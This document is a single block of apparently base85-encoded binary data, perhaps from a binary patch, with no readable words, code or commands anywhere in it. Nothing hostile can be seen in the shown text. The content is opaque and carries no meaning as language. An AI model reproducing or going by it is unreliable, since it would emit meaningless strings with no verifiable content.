zo^O%x42IIQih^km!1jslEWq`e@zzo}gtNj)diV?A(wL+-+W8BR@gOiXaRPvlzZV}C zp0$5*Er`0fAs=;d%zOf$Q;*qNA8O-2hp6vEwLMYC3D0qxY@b z;!&n=_n5-)5YScTO<|&xgf4%%$!mo{i^*VnKF0v=d5qYGnZjl9F~A*c?l4Wy>&v-*j^y|p32EoPW4UF~Lma_ObyuIj{qvY0xM z%nM?&cz&JQzZV*1TPUX?H_tP2Q-}Gr zj#nMxrLE(`^}@e`jP(+KU74Ls>~CeZwR!Y`kPQ+W@_MfH5=d)(fvlF7zqNAyH<0Kj zP@+REg#|?=dKV-*EfSFE!bOzl9gycDu}qjs^G7MoFP=u4hkKK7A|q*|5FLJVO^_dH z1v!Kbge0j)F+P`H5Q|Dy6XCcBGHE3BJf^N%rKE*w!aLjtu~pG6Xc)o0V5{QuZQxTc zvmvn?O7yk725G%7KpSaYuIltaZc3fr`z!18D({H`$WMutQBI|KZc)hO%lSc|*U#!U|ztQB4j8|uJS zHtnP$FfwbB>#Ip773EM{7C7tRS;^{naJca{;W7@VasfW!U1h3?0>uRr-ggp#C(~EQ zP#mhVKbNcANdvx^ND4#nw8kkEOk$ zFEIm-TRJsj#RrB;r{HC)$%nJo{+q1_2V~1n_6Zr|%Kqyou|A?c*qJSFMR9(3D>tp( zgJQP4t@iyfeqU1iem}o2t$n|f-{tCe@e*hLuHZ8$ymT%Q3U67P@CAHVC`TKm{H-jk zaFUc!3uK9fB~nl=ki`~4DXkXBvJ0J3qzUx>twaFJbr<82Kcm72{9g3)^c>HM#OXV? zk|HO$yL`TsezOF(hljIp=|KO0kN?(jf5+k5twS=0v%8o9^l}pLTuzig`*0k&q80eT z+FrC57zvL)%TG>XHqznbGm~yP(_wGGTR;doxaV^ONO)7H8*fP0l;{GyO@P-03qwn| z2FreE`Fj8bElxOd5uZdmhPXDvA9T6~!Y@c2;LR$Z~Pft-sfkwGKmil{M(rwT;?SsHmShj`1Dr5VV~Lb3#6C5 z0k`oDOQ#j)lwW88mhfb|=k9xYsbu#E5VI zx+wzbf(NGl8u6lEX$ZW!Jn}SyCT3^CxsVrwZR77eut`0{{qPV_FqfUc=E6YyjFBag zN+o7*hDn+9WEw8c^hO;dbC1eh@!AB~EJcLlmaT!pHd9Rbh4UASH0p z2Xj=I5*uQ-+@1t~hQBxyC@*))?Zl@ zV&OX+-G^u4yzndr&j#(D!MBMF*X;#Ks8uPv&SVMiSc{fk>^pf$8a;^ge)Ir-i#Ruq zPi*V?2|v4WRvN22(X8R&f8yf_++w0@$xhEpdC}o)X z2nfC=?`Ede?t^x5#HWM(nw~N2e?nZP@V<`lc1OY$=I+4YP431se1xTvy`PxK_M@Ty z4d4B{dQm3ln+|qnIbCu+2{3O-3@%P&u@2>|Cc}|$EaR2FMLgGue06Y8qcmQjsVh1j zGIU@>!=n@U!MbqV&!exaJhpPS1oCks*Ov3N&W_yk`&szrN;(`9$dpXMl-On=DV?E% zRHV10qj?bJxZPErPV~9G0LLljOP|IIkHXO)UZt}SW&Tx;_8}*{AJ|h2>Kn!7naI+g z8@Qq&2`@xpVw(haf=mY^I*Y|`^SVxKND_x}Hq%^Mp8(Rzlo6f7=z1KAZ8jFVS#&NF zuwOcfLqXF^$WEI57u z19!5x-(0L{CX%unZMb**6X<-_O(q$4lj(vo*XHF%d%E&ipFRkhf2Ppim8-t@jxYFZ z)6`l0=(iBp#lymRcx3(P_jn|W{aR*m&g@{ccl@hIOwRmoK=4wmpS>>!szF`DCq@9Y zd#l$K{x(*p1Zq%uRdvGEe2129SWha#TL8|smER60V5*Jo>{EW-w*Ki|Gk9quE^)&D z@QYZ3ZKOE8rt&)^?8;KZ&5x$?&4oGGU$8qOqztLDLWY(=iE>adi5%(Okt40-fSG$P zTT9N|Dj{-oA)s}61v@c^tp49X)7lPx}=wn{ueZc)Pwt4xz zkPM=S@dbM3wRlhm<1;)N1sLHDUF<3ZIpwSI8y&j@47K?hyq4ExB!hf}cS6|UPCbMd zdo%+aRkumL>+l;s$oQ@b%fe`JK1K^?Gr`Jhn5XauUpTVI1xKm0W53(=jOO$Ji~TY~ zkU^xf9l=hSztoS`0|_|0{sTVIHco;*kCHz>Ie+DSl9j*tsExAMWQ5Wi2nOU$Cvh8K za4f`mmq-eI_fRy8@}}HbrQw3wP}}&s8Y78!aep01IkCZ!oCrb6$LdptLnyOwuqJF6 zakYYB8RIU>Z_M~5C8kt*hhoEBH~iL3!%+4Ar+yN!&fUZi*~7$_FvAMxu(7L5d~wbk zen$(g;Hnsp?&S)Z6_?Q&t`wlfpjYG2Cd?re&Jbiw767%kmv02DSu#t!3VW3>i(~+1 zk$eo8Pu#Gj-PuEjB?PPqpYTCT%t5@M`n{wVa zX&&i>7lRQ+7Jd}*mxJ$W&6erP`sELyh+>;Qaja`}BcuR4ZJGm@E^ZPH?;2PWJybpX z2x40bEp)%YXY?U{`soURc*WPI1`qMeH{qR%&tPl*+Go)Y^ghLrX>ucLXR^cNNpRsi z;LwY^UX#wvIPt&2EKcC&qV0gkahrD_v}1I-g8c-lodAVu2W!pQK98+BHO0F`yKtlw zJEPV?pY2{pQYz8k)#VBcY;ed` zz$ow!r7=6`405v!96q{GOK6WyK74j|13O`6A;h94RvY4}N<>mT{#tWjPN@BtejF9>+Q4UiWE+`s@D z>-gfbpYp|t?m{OX_;+k-M!%tMC^;#BnK4?8P)*4o=7{cLhDRL8gG&!G^KZRF&xu-) z8sT?0g!A;=enhFkA>5Cz!auI8?Y*7+6R~`rpc%E|Mc5w)7w_u+9fbsEgE|aQx4!_L zWiZnLo7#nVEB2?toj|EL$4N#9B5$!9Hrnv5jLQ1Fg?@ho7V=s`F(`H76MopqZ~!k^ zn2$J9BCu5gamNDo7#&AsX@)eF$sPpTP&vRs0;uxDuya3o&f-ab2TOx1>YEDUU zEgelMGlr$5Xnfbo#)%NT^peIYv1IXs7AUc2rJQ_p3?KlPi45T(f^}#-yGynlVgEZ|yU1}$q3#!Te;;jId3^(Aj!oi)> z%BIl4C#IF$AgMmu>k^kesdGt=fnNe0XrFUJ!&~pOT}^pTT9XzAat%0@{ec@Y`Ha4Z zhJ`$mPJ%f0dl7p60 z%V~)d&R{|+DLOx=?)MI~M>ve2V%zvvtqD$>gC+(J>)@B9$>Yf0xJDamM7R(YbLvF} z&VOK8HM_>7u`k{uIvcTneV~5IxBPL&c_{>=Nz8I_CN!-QOYc(ChE5g9a88Aqi z4c7xub5~1OC(Ix!YnHkB(+6kbi(RVNYF;dRwcvXrJ4>n~6+Q{OPZ8Ih)j}o^B7-1C zI)sbxnvEBBJYh);x8_R*W#8>Ny|`~MxOZxBPI_<_dLzvePn`yGwZa`0M=cKes(J`7 zbq4K0AXba^K&>3D<^>PR_Vyqp%-kNNh2JnJdcvA`NlJIX3y$Lj`?Uw!kJ6P{ZCnbCz-td9B8#Qyi58kC;D#G2D2lap#A75yh!GV=hPJ2p-aC8LDExX zB*d+b_#XU$w*5M^E&ojKgayXMCI{`_G{;B>bGmI%w+TAQxsUthXEezpT!v&W zM(uc@CztMoDmSg$0ilblndVL+jW!t$8;cM`Po9ORfLY5YtzZ-S_d(sb6qVPOK z%hHzilC1@^Ck&&BTL^nk<$j3&0M5nVj z4JfT*d5bYttig*D-U;(MrqnNI=!P;(!*+NkGWF+CC8-nVsqaReN~cKyVqqA>g(cxx zOy&=~9~RMDfzn`Ccm_gXNxcnUc{~}4NPY@^ni740broQBWx{iiw%8>=vwRxOq`ewx-N`CRX(iHSYDzZz{VE?pDZX2|nUAi@NAb`i4sfG4Ahi-~KPeBJUZp@u zrO`sdmUKQ9zL6;4zMZ}CWU~q`H{*%^f^(C84^m?S-Zmb5pl&u7LniRcLcI+F`=X%(c* zxp*_{Q{>Zah*uuP6s4HLg4vrSsn%J~?)n+zGw(i7K908I4Xak`wtNf-4rWRhAj4L^ zOF)&u$DQ&&AD5CjN2?$;=9ZQ%J&4 zNSs0vlq0{jDWt&R6!I+q$SEYc)hBu05ESk3Q+$CJqZfX<`gW&z!%`ckM9bZyi^=d( zWJdZjkve7kUfY1 zTsQa>Xgnhko`~hX4YWes~!R zS>e?X_q5z~u^>rl!cXA^)xWIWa2URm0M^xqdae_`i{ZQmg2i~@-}4jX%juhqFrWQS zw|Scc|5|386nY&)(NtctE4-fXwB>CAEv^Gks=3iK#yM{)8?sk#LvHno2TWma^~Bzq z#XJwz*5(vWE61x^T2o?ZB?5l9oe2Eqm6po9@S%{*Y|EtF-})ZnzsvszfRr_)OjoW{ zhNh5p1NeJ7rAzSMoZ97Iil?kQwWQ(Y#+9UGsyq|xJ}2q;c?xLpUchoU{+#PcPWcTm z5DqT)%X=YBv8Yd##C?8w4g;GtFkB1^VZTZ6Kd_0L=uCJAhN*Om$1;$t$wGS)s2MIvye++QGp7ke}--Pg~?ZErLtR2{i+kjaL zEYAR^Rw49Y`+@REce+KrY8$YuQ|z$;_z+rOb69MUrHA1?HUVpmVE(-U^?>>J4r`W` z)+%OWZ8P4EF0WR?3$gHjsoH5SKppRgKS3^=#DZkF2zZ<*rDu{SC^9Gbvqq2ARl!vF z3AA!P`$SUO2(pNHpJ-AJro_gdnP^u46X^hAk9_fj-!t?PsHYk)V_%c374DmG`gJbt zV99Xd8|Vgy`<87bV0(U3)%JWc(AT5mTpJ&q&)5}MTfGg{FYSV`-FgqW4_5(M*P**8 z&pp-lE1zW?+ty3WM>+2!Pi=JInUwL%Oz4;YS$^-9-_PMU%5W72X=&4<0~rRYb}zgW z#g)H=co^-!igyfyxu8t&#a4ah)#Lzs)xRRXIfafPunLOybhznJ07z}|%L(+Ku*Pam;~4##@_#p#I|7wY;OWk2;B{=uI8c|gMB z3;Ot?K8QF1zs!emSNKZo{a@t0@>M=Ie+|DT&1W?HUmL?e*%md&kk1zsvQX`bN)Y`M!lZeF=%+0Eit)!#(w069(YyRD9QF@^Ct>L)h}%l$8Mt0~ zf)nvFEiJhg|^^%HT(-VVD>kN zS>U$;ZX$3((4uB1O(bT_NCZqr8ZGAw{+u$4EiQ36#pG-G+xQ8;!5V2mSLHv5kVNJx z4^-bJ;jZo`^ai12?MxCUybIZ3!M>k~y~;QF0M~wtPiM=0cqFA=D=fbv~J^j)6x&A1wPe1Lp{)_b>8b>WJB1H}t-WF4Bj$6;nrj5LwBAwd=_ zMiH5bqq9NuIHn?V{Y0>Jbn3(=#i^R&8@2{9aJzb)(oQyyvBMsaNH0ko&2|uHhcv1$q!-`4)yQ`P>c@QP4_3KT^F`l8?tWKT07Em$TkIa+2g!u` znnCJX2RJ*C?subaA#dDnJS%a)@kCku{Z6#_N?(ntC1YmtLu53iIYZs!@2D0hskFE< zd5Rh_pHkF-tIP|yt#&~TapRMuHIP(Xk8|iRR zrGFyP+M3Ac;gbi$RAncjZNT|H#0!w*a!sBhTe`aqxn!P5KOZ={VGLe^jvQ_!bKp3= z?%K9f@y65~e*TfHCJg-WD3HV-y&o1E&Ns&Zhx-)j;Vj(O$AKOVS)Rc8v94?%$VHC> z2#=X+)-)*#_6w=*QIjaIi2$GFz*}c3e47Tk{YeG=D3}a{e7QGZd=RuPT?WaB6V)qo zAt$kSZ-o6JYwAO0)A8BDkO-0jp9@8tY{`a zT5{3r?&Y?lo6ha;jjpS`~pBrHUa5I z|ATMH$L}KzWG8iRtX?IKxjf;rUtsh~?DGYE=f1TL*uy`>dY732n=Q+%V6>EDf>S0L zIug+l_<|t982mhdOF7YX2f&^D5x{mfPasuzFk-U7+=Q1%EWMt=So}?4UFZ^`BS~`M zp?GI4B-O~-xT;Kxh>k=7oql1jc0XFiSJ<<|kAR}#9rziBOH+OoR*%d@z>nhsbL<7c zr<@Zf=qUOI+ED<3+s;v6RjE_zz!ppBhe<^0rL?}36w4a@FVN(8uk)5G69acz-_bWD zu6#^&Z?4Z_pIzdn8ts|}YLqGN7c0$`()1kicsYMWIqqN>%QY*OE1uE=wrGwYg3vQp z2~n{B>SLhI!Z$gbN@5L-barDzTLyvg7}D24Bo9Zg0ePZ7A-PlLH;j~EZ>+BZoPkV~<;U;4CHZ(uYZp7)mxDS*VzNayF7UBzjT;baE&oN{^{25;_CPlo^ljdrw_td-(aotl^S(&~Q# zHEaP7PiiSD^%Xib(>=KA^95^Xohh&7a_EFfrlY@@ceE?D?(S3>*k2o0`S2-T!j;Hf zUu!rQsKXl#XKVNZ)-Zah;Z9G_k;SWv{>Wk%c9IJlmEGj(#n|U4#gg+~Bt+HcDB2v4 z<9zOG>G?~Z;G#>u#n^{GtwGYC{wBY8hjB^Mft#ZSlcuFjRm5d*shfWkwTikxuRSJ~ z%r|(u%*1vKewis8(oa#u^Pj|uJPDq+<)PW zgSmTJP(L;P;FzG(@Regf2&4JaDywnCJlZiob<#F_#1Pga*ibX{s(@bs_y@?iNA*jH z*=D-Uj-p26WltE)m*Geee)S^1jEl}rlg2naMnj7ui^{zn#LJmwPq5j9i`>qS`GeU{ zv@K`xFf6uNv;P9vH9hJAl-Wxbh-A9?ySQbrAa=27Gqh<_HU&bT*-E{rjOo%~0ZXFn zy06C#71PC(Kk-ae9cTB|^OCXPLePFaB>M~h$yk66;YBzTHkoe`@wdP`Q$GguVw=f)teukd0`DcDKF24&V)*|u6ptw7}>#pt%9P8u`Slzqe0=Hf~ z(T^laU^!L|qIdGf3g3kk{3WPq-=m;+$3X}BOP9ue5`&vpRWmRBD~x#aswG+X65XxD zvvJ}He`H|UK2on*+8+aO`8t>^i!qUpi;du_zZmG@{_^ErFwa6ZHw^w_s0gNeTh^a- zZw`8=R{K$_cMDOjSGTGc{ry=zMR#>q9_J-J`Rgcks}yAIru49 zeciBJMWF7xyX!WO&i#AIH-{$k@-2EO`Ob>TRbsAa(<_C1`C$SZY6DA^Fx(DIk&GLp z9LeB^L{IfRt&w(UL1CNpQ7B2RvfcWn`r4z^#~J}4{@!kYTC!(9w5H3?-+YBO8*dRC zOibl~vrB6U^fcDf{b-dyODDtZXMcV)Mo_As5uv`tnK#qL0Bxo6@H`-X9;m0bGW+#H zTCHO-8F%}KJr92W&=0pc7y?#y!2Tz&3tm&6{UnDN_e6_`ExDJE@hCjli3DCN3`AEur8o+Z+7IF zTWs39G4Vm}CG9ibrvcO*?(T%8Zn5bEqLz%0P-_e1Fz|3&AiofcbaYEU)hC#?ey*3e zeUIjOtK_e%2AqmZsdkL_}d_Ta(H<=9tTiKhKWm>1qcQ{3(Zr71$zR&0`}BXQL|v# zH2r5jw86@zJdc(>lX@?sJZHlx!@KnbKeBVy?ARCxEK1y1bZnB&f{{SXz^$cXYRmmd zwzZ8xm#0~W?LfvNvD=dUtc$Umo|J`?_XKk5365$P*;MI#hjA>sgEOQV-9_LQ6vV%4gFc>ab#>T$Jh5T(3o)F{@$(7s^TPPK zRZk5yPt*%G5z(c*j9HN05_&$|G5a#XxXh29!ZSi>#6CJ=YzUjTgXNgxD~<;}411Dj zn?Q>$b@CUP7o(>VBJE=sP1&ku417(Gn|;MMmMHN+MASQcIB9#eYg{P6|AxLs|sgOFn8itw;y`$rr0W11Woi!EZJ zqgeQDTkOwz!PFy2RSI0!!AtC(a03BTM?;HD^bEmN*x?GBh1udTXQN#5@`K*M{m6ga zbMmuDz0Wy$r{JoITY8}?*Tm1~>xqG2HF^PWV~VmM#{Nq5JVlD{0=py9&U}$l!DdOe z`t@Di-th@OD4@ri)Xy2@1hp6}Ss&uphZSKMV1dYOq7%_4iD-VGafq|HdiR?@NPqk= z{c)c@9RD8(>^p!x^H)(F!iUI;FPvW5`?*$JnRs>lt=Uma^Vr- zw;MVKNQ34}h)G)j1frJ)c7{W0odp zo=OOf*0OmCoHC}Zr5c;lL09j=?zn*73VAbRz7p(OS zq@mXKpsu3j7OVBVdb|3*mtv@Ux;}q%_0fa+9Jye96xpedO}%sKqcH08k4b%6-Sv?b zTccuu78SnT@*v^GQWBM|S<(g+E2>n8(ZyCr{bmG(TMSi2f<_ z!`~_RC(aLlm%>k;AI{0=vj5om;U+_!IzRkQ!C4^uLwmvJOzto6Pn!?tMwNT|{BYBm zoRNf&8J+y#tnuXSaqYLW+i&Nz-}asE+wF9nw@%)3+p&*tznwXL^~_(?p~~0jG4)f1 z&7tT8HaaN)CoePF8eH&kF*4J=Y(2#bkTvZ^NoTDQ_uV&%NiO!6q?0dgC-1CbI$^0b zOee4d_r{SGyYf1%d}2S#+=AW?W6s@GeZIk%` zR~oH;Qps1rBA)&XCaIa_BLmx;FJleeS}X_`&kXX=X}j+Tsy-~l*5{Jndc_x%Qgi3cRs-`725O&F%aXAsH)cen=*b+s`M@ zUDO4i1svfJK1F|8sMbq{f6$yg6gjcpA5ISw8Z@6rU2A6uMOC&`J36JwPi4>P}!Rq+bub`rUr?P1o@yugNz5J>cZfu|pI|>CY#%(dq-F zc`s==#Gb936&P}CwKiWsg0ajQjYp|8H3L5Xn=d1_rSz`yl^^oO}@a(h1dTQlh)`(RNs!3EiPxni4tB^ zv&|Q(@I^WzTE=CfS+}qG46*Dw?JpE6i^}h;RYksdD}&Y<`1SN}cg$ zSFl~l5!iu%Q>(Lt78<8_M$C z=l#xaxip8d{e3!(u}jS|zQ=cy`SBDt^+)ZWsD;{=EkpX4dNB>q67yP9`o=2FGl4M% zK9bROKi&Ij2NzX;v_Gwk^#*$_W8Un6LmVle|?06;1Z` zWCnEsCc7L$Ir?)3v@3~QLgJv#rAB&bzLo~{cP`cIpE2#>lxc!9M9-NSgVE>Zguk5m zr-Hflg25|a8xlmIX7A~vFPO7V9Bu-M>HG{Y*PmQx@&btT&JUBNIw&1548@ngB|QU3o*)a z`}vE!6VFL-=YHfTy0)f~{|bKGrbv;kV`Lwaq z%#8@f``UeDKRz)ZS-~S)AGV{DoYn77%$4_7>dA#t``MO7YW{F*iw{`eQD9@aKP|vT znom!Nr2?A25jy^~lFSGXW_lSIb9zhTz1D;u6pX7@!g!cLDJxT5D(`hvCEKpbfy5IK zwgV0#AXT?f6_IHjz+<7htyF5Atjhs_mx_C_`A~YH4;d~8I9voPoEE5{`3F@){NnBa zxI3LrKpVs1w9*UrRE}_3k!E1si_eGrjPMU*8|$U{8DXD%7W4Hm?+i&|*?Nt)@=V7c zl8+}G%0aXyd1)jstCN?tdZ8YJYjU<$h;?;rA@pNCQ;ml98DHs&*IwU;RnO>%bLrfR zCzrmVYh6F}3uuA~^=d9B3j4ED8DN*VuY-m5FNwizXMcw9{xI4=3}@7u_Y+(zO>P5@ zGpTRmDx8IDc6jyh4Wy^t$!`#uZ2JVmyLoG&g>`E)-2 zU!moqptG+*!3!RT>OL&>sW#E=uoPo$kO_rWPtuzITksQtsjv6N^ing3k5;t#s4H%0 zA93WXwDYMStpn!2K@(usN259rXAi=6b7pD}Y*I4GD4uAUW+zwPlx7;Yt}bHQLnh(YBy#gHmo%(a;uF1Nh*jp>* zn-HbgCp(V#%KD$DudEMkzqgcRKp0%Y;b~<-9^@?8>TC`JwVRcl@GoybX!|x6Y8fol zGHzfozXoR4Q}C*z$=q|4w`!}iE1QT`Qp;$SsyY!JlzKm~{f-V}T=A0${RXa)NEsbY zpiaq(rsJ0-k;P7Abf~hC{U|-5f$wpU$K(sy8z0qf;R>1xlQ-mBM)HZ@{1v~JuV^|5 z-(-ha4zRt(s#j^a`moD&Dxf->V*cpp0xQH$SZamX3GA#8fp^Uuc&pm*o{@^gB-flH zcVat0PN?uVJoOk3MeaIG1X?z8gdR}CT+l%W&4&%1-$&kx&Sy1RA4Q49C?$oR^M@84 z2^p>q&5~yO1(%PTFz&|t!237yegu9BG=MCMjzA`6L3b3T)DMnMgXI47(R^@Mv_E|e zFNez%$KGnoQsjLsr!ecwqhn>me4_$i7$ega$)okEu8x%`;@_Sw|&qtvlmmt}~qPopyyf9Sv< z0*PT;Ng;?xsd_G`&wBL9j*qlH_z%ka*qrk2c{hPtV+umA33z(5iuV=rtn*l&4G%)@ zV+kJ2)wY#$(~smezosuAzi!4KP^r-Qz~@13`cb4Q=MP2aR&0N5ZdoYK5(FU$4j<85 zWwGh94B}H^`gkjBG11VtD0wc{Cxz z6RXQ|3TRac<3LwIm!+I}#BjAQ&d>0cS4GaJBCI~kIBo!R^msnYc}#Ry#_7tr&1T1x zc|=Iw0?X{USV}nZV){Zs1mT`fBM3rP>_rlj<*>PxKsu0<$NRnPp!XT-18qX@>$8qF z>X)ksldLp`~GGu#p}1J~0;OZFC3IqIRZu5v{sWle04 z0heRI(<&@3QLl9(I^`Qi4!K}G7v2~$4vArhL|lBunlZtB$ns$=aw>@IvY|~nrW0da z+N+5Z4c*pBdN_DIRGs!RBpaWad<=ov;R$?|bMEUxBdq56teuDa58A?ph7_l&OKu{Q zcCdqICHv~{mD16hy?{l5QEhnrBFpGE#aGoLp61?+R-}G_>0OqMEOt7(`hb1=)tML4 zPpZwIkjCZXV9jQ77I&vODehZ!&!6zlQk8vJ(G!7dGP~<9=5u$0t8dXe;gkfIz)BBnU~KVk>uQLITM)mp&0#Mg{WpsWu@JWiHJbX ze7s!|&6_=JFvq@wwG`#O=&f4q>fw9m;Xv4?WWrDPHoU;eNM|LWO~(-dLA%xB%?u|R zIM=LpHlA8Jho{PEo@)LKmhz{?<_&CEtYb{8Uo=mq)=Zg-ac;<%gY84-bZc>*;>;<; zBN=EYx`Z6I)L&KFrQk3ZFSBP+y)eqz=>)5<$x4@a2fx_WQR9UK=ud*P8?{)23zaa1 zO2?+>RAS8TOSTdEbGoeFj>%=+pN-rM-seY82Ce27nZ{>_{OB@$T*OaG&E+{co>L)* zIo$_l94f=cPuX6KY6cCsJkb^}AQ}j2mA=?_~06?da4rwqm^#`Ec%vwLhb^>_-=f>8xd= zD^&@@Co~_VpHe%R`e)8c@e2#U2}kx^fgzDaeT#T!YGcd9MH#owEair^z+L&q`S|5r zZi`w^d@6TU7oCNd=Pn<>n~7m4`_oESz2{d#X`b7aCToT7g*d`%A?jouUY2W4t+=?` zYHZo&;%o{67RHw&G#k>wN4)*%Hcf|%!zI;?TTq7f!+Pi-y#Bk~f$4)Zw zbm>xQk?6WS&Gw+mxBzc6lYOMN)MPZQCBz8CJ&G65Z;+Y?ql_7~VI z-rFAUL)}~6+n#Vy3Gb)>iAihk`^TLf;?7%VPr38f*}69qzO@Dtn3v!^^D^x z_mILYI*KXWd>t;gxL z;{3W?t;t$(xUr7kOqVcjNo_wdkx>H+vMVy`2PBE>2PbdlfxKN*Z4t&%Q_UW`E5gbS ztlaS%ll0gI8o)|dsu%~2`O<&1=TYsh%pMjrD(wY}?4jwTma0-<-_3&(RWPIAAJYuw|~>cI{eiNZ4t){EawP zUOf4@c4jN5uoo45m@nMyPRm`lZQaL_ld91j(5Ez?epbcYnzB8^>$aVjTN~3dx&zrK zU2Dx(IxGEl+9{cBiVuoEwq>F>tF2*>YVwACTpY&RTNJDI(wV!@Jt&%*Kl_o5KHAU! zpJ-Zn0Gh5((ez-)OVSaQGi!#*8A!bv>i~B1Z;U=b?Q30BxAEy=)A}8b*3k8xZK`*| z>FG(=JUp&LiB<+tu@J zX~;^Hq4`5N z>wT1F*tL~uLmv!-*1pn1sBNM*v(u5JECwevR)+Z2@^)>pT99Akya55?=Edd4kAa<( zn~P|r7z|Go0`5fn7WFR9?0`7tb^tYz-V;hTe@nC<{TIJ=)+0=apB9~rZA~K~s^Ug& zOJmfvfRQ;@-I{aQ=Ww5IXx0wQjdES;HCtx3kz-=mwZ{_k{^}yCm$0GS4_alKXg8%) z)}S;0l!}YK!EYZ|K3|EF7~`DURur)3ja+(uIeWgDP?WQU#FIgSxgoXAkcvyj!{(CB z)vYyd9Ns#Za|qzucMhWX!9NcLbeISH+E*=zPK7hOF;6}~DfzgR{Jc^!BhiIeHJM?5 z4aXBBMLsL;GmM@NGmp8z;RR8^{OY{H%m%qGb3ChY?hEjQ&T$>azD%b2$I$z_*8afwI}#A1V6tlqmnBuB&j~?Xo`}(+ zBP2o_Ke_%Nc&fMhe|OIMGMvIEL9A%Ggd!d{I240nE-+&#n){y)jNP(HO%F6&Q_+L2 zX^9_wfz(JSr{9{0H+AT8bx>b{C85L1dEXd|DeSNuSBH_MkBwFd=#r0?BEf}guw2h- z_at4om?W**MH!!WNhtrecKPmdk_1^;;F>L+2IGj(rUZl|qn#QuF4(2MCj+a?_1xs1 zBgHjg^iAr>aRtXq&rN9RTIduvI{c0#NsiT=4Ht|W_x$NOQryh-^g|bp400!uW8$%J z`Gw2YCoH|hv2<-Q&LS+s$d-$(=c4u0w+$$$#_gkeUdk}$@}KfH9I_SUB%3NSC!bNRtjQwDK^J?RD)&}c375ds%rhZ0=RDofva)f zr`3$|hk-(XQ=nW$$mC>;Xzs-;tI-}&)2TPx>=v}14s2VAP3mRpxZ_Y1P4SA}!=Khm z^U(wuAGx)1(l?bJy}&wOW@>Pt0CAKICRR*k4_!r!8~s{nIY=7>Ng~Sk6y{VV7Y9;^ zTS2E0ZF>K!1WI+2O^TK0pd_%@ES`LMyR}^3*{MRUpXz8$3Uf~GR1mx8q{pyMJogmf ze@Q%2SyP()T8AuFT+-x8m5O07ACPYahe2$@95Mtu)~J0l4AyreQZcixA5nLE`LSNM zGkEER;o$!6DkXe;$wR}@+S~C!u$eX75w|C7ogx&z)ni{%9eh7r#cIzrWAsy@M!9N( zjXd?|S~3s=-7$>YwU~hz4~=siCk66})Zv=={Uo)!=sf_OqXWj}Va;kM)1SiVSCloz zK`vxB_evV2Wz)j@GHugdzjeuMC6n1=B*JZKD}l=y3@c0aQ+ppz=H$jGm`2m+rh3E-wCBZZw9k-v zs3~P~L(xe{B82!HKuGONI#?*mvWBYZ_*kvJh~m>eNMgjCj%$Ut>X90@q(AGiJsiaQ za>u7!^jMZexBZZ4JOYnR-ud)oBY2CnENWZ9(OQKDqmO!~_AllN=1uN9l#d!JU}m&wD8UYNN|nI=RU*?S}*IpI#=rbSd{nUY{5-<&f>OV>+i5Fc@E6=Q&ETRX^wG_Rx+uxGkm zWh|a7y{UVG%SBHmB1c&nPi9cxfF}DYi(83VAVyCk)3s{N#XeSJV%@3B`Pp>^Kbc*k zX~?Ca>-O^(`AXg-V8-HFSGH4h^8>f9a63lybfU+*W84yqaE81&HBU&UvBS6h)^CD8 zSKE`?@kyGcV@l5l)6Kyl{MQoyK~u-stx0`lt$DCLDj;QAkc-!sk_Q>%7k!G0)0~^| z=_2nRUfAJN&Dob4y+uIKdcvH>iKYl=l$}>^XKSy$hHsI7>XclEhuI)r&uv2q>ei8Z zYr|pQIJS8zN%L|4;>hcd5?S@2xa~1TO?T%~&1_e7tV&hHI^mbD?Bhtk`vG{x`W7<# z5;J8T$aVGqA(nb3SNh(gfOQYBy80qFejJcfKin_Ob@jtu)|E+176$^y?S*kyKbc>O zXm%#61>9NSa`~pw(HOR5!$)e)LYq-LAvmM#S`Wx-JUjR`R?hONv8%qkoP`E9j$wDA z)VGNHZ`F^}MJN=Ge_wi@3vy>_Y;fat#oOFW+CH#5vx^#|SbyAq&0$Ui9p}JAl{HCN zy<{uDOYC=<{jRWI{1Xr%r*NHY_g{mcG%e(!fC80rwmr4vPByTX-O9)6=J|!`YC8m54D3|`H z&P-Bw=yQNqKh4pH%R_8c7OjvZ?8eqhp`-qih1oiG$k#5n#aXQ3d$l^xVdQYC$V_F; z^2zTJ=A33t{;oTk3HL>yyiCmE5I-daCz02ee3T`G!!COdHkE3bxjJLhV^S-SeSYkPU1cS0px19tB{Z-hwPe5RxZaWr5G#~smxrU(VgB()xtxtTfP`6WpjY?b1$=AYSS7@Lg>_5C|Y3WAVy z)iB$%flPEBrSHxoD39lx*U-@h3j>8{mwKG};p>Sct31Q=pOqXZ{Iu8mRWH9ka;)#2 z>3w5dDa2>aw!X-iF^t6@)BG790*61BJ@k4*&hd z1|OX+Obp)>`EtVh=>3kbbP{reWw$91*HcKm==)(%KeP?GlDsuPNK!LY(LBvM%O=Dj z*VseWymV^G*lVEm4@B!78&M!(TdI^PYPx_(gy<50oeZ?t8(!t`+wLePvyDHr8^}z% zCBn)5o#SV%lQmXVs-xaU50zM~WSV*|Y_Lmxkj4HZsNd8xG6ZPWk;>%^)tH|9FMM<9 zZ}cd>O~O%tQ!CxT+bGa?MQ0PKod;}eUT?f(*ooj#lZCdz8X_mO!6>rrO-@Y~obW->FZ$g-A;@W_|P` z(*Dr;=n-Tuh9(zs?p*DGIw?m7X9aA0$ZkNSMBG0(QP1@upBI=%<%2wF(cF423v|7p z#9_Fw;0(bv!8txV)Z6b&=X*f(JJFHL_;&_8?h_u>=tzS7=oo%0YwH3nq*JV%1kGdS z1P!*w4h9?v*;Ly&k5HSTL-;AEJ)9oo^vI!Xm*-<2UM0??=WP>b9|9IZt6MmN@bv zlG>J%P80^ch(CF^gI_I;6#JGBW=3=yd~_6P2l1Gkt8I6@r1NiFP`i46esGqakGJF2 zEi30nlC8MfLAtRvy(`U9Z~m@yZsgK+T!E_%>s*X0_u8K4&PlC%nIApUDlu~tZ66E3 z`Gl1Q3zb3qG!GPwoomfFe-2-nZWowK0N3D_qcnT9?^qM%$+5tTYf*K9gS~#a7k~PS zsgn3q6Kci2c_;T7h{I9>AmimJu*A>q*FZI5VR{?tv%J(f2{WGjGNxZExP-?DgZVab>Dstpnaqfv3qSu|3e>kGq=7wgg+*yw_JgHaox$AhA36 zDkeW$GBDt!;{&{zlZP`Qrkl&eK;~`ojl8g4y;q5>xbl~T~#kGiClLW9;fpBh1E@v z0)w~y7*`W{G*wLlt9SCX9?4j>*0<`}iPaY+wqc(I?EBkvOY+xio&18{oWK~p6C@xa z@oDS?J#l>DaF9>zuzxA|J059#)x2D_w@u!+f#8xo=D>8FxK!Uu!Hu2Zcks%Fp6r3& zu2&ON>O-mRX+Em!48!e+yTIOYve`uL! 